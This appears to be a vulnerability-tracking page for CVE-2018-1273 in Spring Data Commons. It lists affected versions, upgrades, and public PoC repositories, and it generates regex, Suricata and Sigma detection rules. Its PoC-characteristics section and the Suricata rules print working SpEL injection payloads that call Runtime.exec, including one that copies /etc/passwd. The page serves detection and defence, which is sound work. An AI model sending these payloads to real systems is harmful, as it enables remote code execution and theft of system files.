Spring by Pivotal Spring Framework
VMware Tanzu Spring Data Commons Property Binder Vulnerability
Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5, and older unsupported versions, contain a property binder vulnerability caused by improper neutralization of special elements. An unauthenticated remote malicious user (or attacker) can supply specially crafted request parameters against Spring Data REST backed HTTP resources or using Spring Data's projection-based request payload binding hat can lead to a remote code execution attack.
Affected versions and mitigation
From the CVE record, GitHub Security Advisories and the vendor's references.Affected
- >= 1.13.0, < 1.13.11
Fixed in 1.13.11
from GitHub Security Advisory GHSA-4fq3-mr56-cg6r
- >= 2.0.0, < 2.0.6
Fixed in 2.0.6
from GitHub Security Advisory GHSA-4fq3-mr56-cg6r
Mitigation
Upgrade org.springframework.data:spring-data-commons to 1.13.11 or later.
Upgrade org.springframework.data:spring-data-commons to 2.0.6 or later.
Timeline
Days relative to CVE publicationFirst public PoC 2 days after publication; added to CISA KEV 4.0 years after publication. First PoC: knqyf263/CVE-2018-1273 (created 13 Apr 2018, found by us: backfilled).
PoC repositories
Found on GitHub.3 PoCs · 1 pending · 3 suspicious or fake
PoCs 3
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| knqyf263/CVE-2018-1273 | 13 Apr 2018 +2 d | 10 | PoC via PoC Index |
| jas502n/cve-2018-1273 | 29 Apr 2019 +1.0 y | 58 | PoC |
| CyberCTF/vulhub-spring-cve-2018-1273 | 8 Oct 2026 +8.5 y | 0 | PoC |
Pending 1
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| cved-sources/cve-2018-1273 | 17 Jan 2019 +281 d | 0 | Pending · repository exceeds size limit via PoC Index
Flags · score 15
Below the suspicion threshold (50); does not change the assessment. |
Suspicious or fake 3
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| wearearima/poc-cve-2018-1273 | 17 Apr 2018 +6 d | 24 | Fake |
| webr0ck/poc-cve-2018-1273 | 5 Oct 2018 +177 d | 2 | Fake |
| hdgokani/CVE-2018-1273 | 25 Jun 2025 +7.2 y | 0 | Fake |
Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.
Other public exploits
Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.| Source | Title | Published | Found by us |
|---|---|---|---|
| nuclei template | nuclei template: Spring Data Commons - Remote Code Execution | 27 Apr 2023 | 14 Nov 2026 |
PoC characteristics
What to hunt for in your logs · from 4 PoC reposPOST /account
- Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Cache-Control: no-cacheCookie: sidebar_collapsed=falseX-Forwarded-For: 127.0.0.2- Body markers
name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/jas502n')]=testname[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=testinapplication/x-www-form-urlencoded- Ports
- 8080
- PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0- Seen in
- 1 repo: jas502n/cve-2018-1273
- Evidence
- jas502n/cve-2018-1273/README.md:36 jas502n/cve-2018-1273/Vulnerability-environment/README.md:30 jas502n/cve-2018-1273/Vulnerability-environment/README.md:37
POST /users
- Query
page=size=5- Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Cache-Control: no-cacheOrigin: http://localhost:8080Pragma: no-cacheReferer: http://localhost:8080/users?page=0&size=5Upgrade-Insecure-Requests: 1- Body markers
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=password=repeatedPassword=inapplication/x-www-form-urlencoded- Ports
- 8080
- PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36- Seen in
- 1 repo: CyberCTF/vulhub-spring-cve-2018-1273
- Evidence
- CyberCTF/vulhub-spring-cve-2018-1273/app/README.md:30 CyberCTF/vulhub-spring-cve-2018-1273/app/README.zh-cn.md:26
GET /users
- Ports
- 8080
- Seen in
- 1 repo: CyberCTF/vulhub-spring-cve-2018-1273
- Evidence
- CyberCTF/vulhub-spring-cve-2018-1273/checks/users.sh:4
POST /users/
- Body markers
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("cp /etc/passwd /tmp")]=testusername[T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")]=testinapplication/x-www-form-urlencoded- Ports
- 8080
- Seen in
- 1 repo: knqyf263/CVE-2018-1273
- Evidence
- knqyf263/CVE-2018-1273/README.md:25 knqyf263/CVE-2018-1273/README.md:31
Regex
Generated from PoC characteristics; not yet reviewed. Matches the request path and query.
(?i)^/account(?:[?#].*)?$
(?i)^/users\?(?:.*&)?page=.*size=5
(?i)^/users(?:[?#].*)?$
(?i)^/users/(?:[?#].*)?$
Suricata
Template generated from PoC characteristics. Review before deploying.
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2018-1273 Spring by Pivotal Spring Framework exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/account"; http.header; content:"Accept: text/html,application/xhtml+xml,application/xml|3b|q=0.9,*/*|3b|q=0.8"; nocase; http.header; content:"Accept-Language: zh-CN,zh|3b|q=0.8,en-US|3b|q=0.5,en|3b|q=0.3"; nocase; http.header; content:"Cache-Control: no-cache"; nocase; http.header; content:"Cookie: sidebar_collapsed=false"; nocase; http.header; content:"X-Forwarded-For: 127.0.0.2"; nocase; http.request_body; content:"name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/jas502n')]=test"; http.request_body; content:"name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"; http.request_body; content:"name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"; reference:url,poc.griffinguard.io/cve/CVE-2018-1273; classtype:web-application-attack; sid:9041767; rev:1;)
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2018-1273 Spring by Pivotal Spring Framework exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/users"; http.uri; content:"page="; http.uri; content:"size=5"; http.header; content:"Accept: text/html,application/xhtml+xml,application/xml|3b|q=0.9,image/webp,image/apng,*/*|3b|q=0.8"; nocase; http.header; content:"Accept-Language: zh-CN,zh|3b|q=0.9,en|3b|q=0.8"; nocase; http.header; content:"Cache-Control: no-cache"; nocase; http.header; content:"Origin: http://localhost:8080"; nocase; http.header; content:"Pragma: no-cache"; nocase; http.header; content:"Referer: http://localhost:8080/users?page=0&size=5"; nocase; http.header; content:"Upgrade-Insecure-Requests: 1"; nocase; http.request_body; content:"username[#this.getClass().forName(|22|java.lang.Runtime|22|).getRuntime().exec(|22|touch /tmp/success|22|)]="; http.request_body; content:"password="; http.request_body; content:"repeatedPassword="; reference:url,poc.griffinguard.io/cve/CVE-2018-1273; classtype:web-application-attack; sid:9422584; rev:1;)
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2018-1273 Spring by Pivotal Spring Framework exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/users"; reference:url,poc.griffinguard.io/cve/CVE-2018-1273; classtype:web-application-attack; sid:9196960; rev:1;)
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2018-1273 Spring by Pivotal Spring Framework exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/users/"; http.request_body; content:"username[#this.getClass().forName(|22|java.lang.Runtime|22|).getRuntime().exec(|22|cp /etc/passwd /tmp|22|)]=test"; http.request_body; content:"username[T(java.lang.Runtime).getRuntime().exec(|22|cp /etc/passwd /tmp|22|)]=test"; reference:url,poc.griffinguard.io/cve/CVE-2018-1273; classtype:web-application-attack; sid:9866933; rev:1;)
Sigma
Template generated from PoC characteristics. Review before deploying.
title: Spring by Pivotal Spring Framework exploit attempt (CVE-2018-1273)
id: gg-pocmon-cve-2018-1273-9041767
status: experimental
description: Request pattern taken from public PoCs for CVE-2018-1273. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2018-1273
logsource:
category: webserver
detection:
selection:
cs-method: POST
cs-uri-stem|contains|all:
- '/account'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2018.1273
title: Spring by Pivotal Spring Framework exploit attempt (CVE-2018-1273)
id: gg-pocmon-cve-2018-1273-9422584
status: experimental
description: Request pattern taken from public PoCs for CVE-2018-1273. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2018-1273
logsource:
category: webserver
detection:
selection:
cs-method: POST
cs-uri-stem|contains|all:
- '/users'
cs-uri-query|contains|all:
- 'page='
- 'size=5'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2018.1273
title: Spring by Pivotal Spring Framework exploit attempt (CVE-2018-1273)
id: gg-pocmon-cve-2018-1273-9196960
status: experimental
description: Request pattern taken from public PoCs for CVE-2018-1273. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2018-1273
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/users'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2018.1273
title: Spring by Pivotal Spring Framework exploit attempt (CVE-2018-1273)
id: gg-pocmon-cve-2018-1273-9866933
status: experimental
description: Request pattern taken from public PoCs for CVE-2018-1273. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2018-1273
logsource:
category: webserver
detection:
selection:
cs-method: POST
cs-uri-stem|contains|all:
- '/users/'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2018.1273